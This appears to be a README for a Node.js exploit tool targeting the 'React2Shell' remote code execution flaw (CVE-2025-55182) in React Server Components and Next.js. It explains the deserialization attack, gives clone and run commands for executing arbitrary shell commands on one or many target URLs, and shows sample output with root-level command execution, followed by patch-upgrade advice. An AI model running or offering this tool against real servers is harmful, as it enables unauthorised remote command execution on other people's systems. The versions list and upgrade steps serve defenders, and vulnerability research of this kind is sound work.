
NodeJS-based exploit script and scanner for the React Server Components "React2Shell" vulnerability (CVE-2025-55182).
FOR EDUCATIONAL AND SECURITY RESEARCH PURPOSES ONLY.
This tool is designed to help security professionals and administrators verify the vulnerability of their own systems. The author is not responsible for any misuse, damage, or illegal acts performed using this code.
CVE-2025-55182 is a remote code execution vulnerability in react-server-dom-webpack, a core package used by Next.js (App Router) and React 19.
The vulnerability allows an unauthenticated attacker to inject malicious payloads into React Server Actions. By manipulating the deserialization process, the attacker can access the JavaScript Function constructor and execute arbitrary system commands on the server.
Read In details : https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
Affected Versions:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (pre-14.2.35), 15.x (pre-15.5.9)This updated script uses advanced exploitation techniques to be more reliable:
Next-Action ID. Works on any vulnerable Next.js instance without manual reconnaissance.Location header. This avoids 500 errors and provides clean output.Clone the repository:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
Navigate to the directory:
cd React-Security-CVE-2025-55182-Exploit
Check Node.js version: Ensure you have Node.js installed (v18 or higher is recommended).
node -v
(Note: This script uses standard Node.js libraries, so no npm install is required.)
The script react2shell.js automatically detects if you are scanning one or multiple targets.
The default command executed is id.
# Single Target
node react2shell.js http://localhost:3000 ls
# Multiple Targets
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
To execute a specific command, provide it as the last argument.
# Syntax: node script.js <URL> <COMMAND>
node react2shell.js http://localhost:3000 <command>
⚠️ VULNERABLE: The tool successfully executed the command and smuggled the output via the redirect header.
[*] Starting Universal Scan...
[*] Payload Command: "id"
⚠️ VULNERABLE (http://localhost:3000)
Output: uid=0(root) gid=0(root) groups=0(root)
🛡️ SAFE: The server rejected the payload or is patched.
🛡️ SAFE (http://google.com) | Status: 405
❌ CONNECT ERROR: The script could not reach the server.
❌ CONNECT ERROR (http://bad-url.com) | fetch failed
If your application is vulnerable, upgrade your dependencies immediately.
For Next.js:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
For other frameworks (Waku, Remix, etc):
Ensure react-server-dom-webpack is upgraded to v19.2.1 or higher.
Distributed under the MIT License. See LICENSE for more information.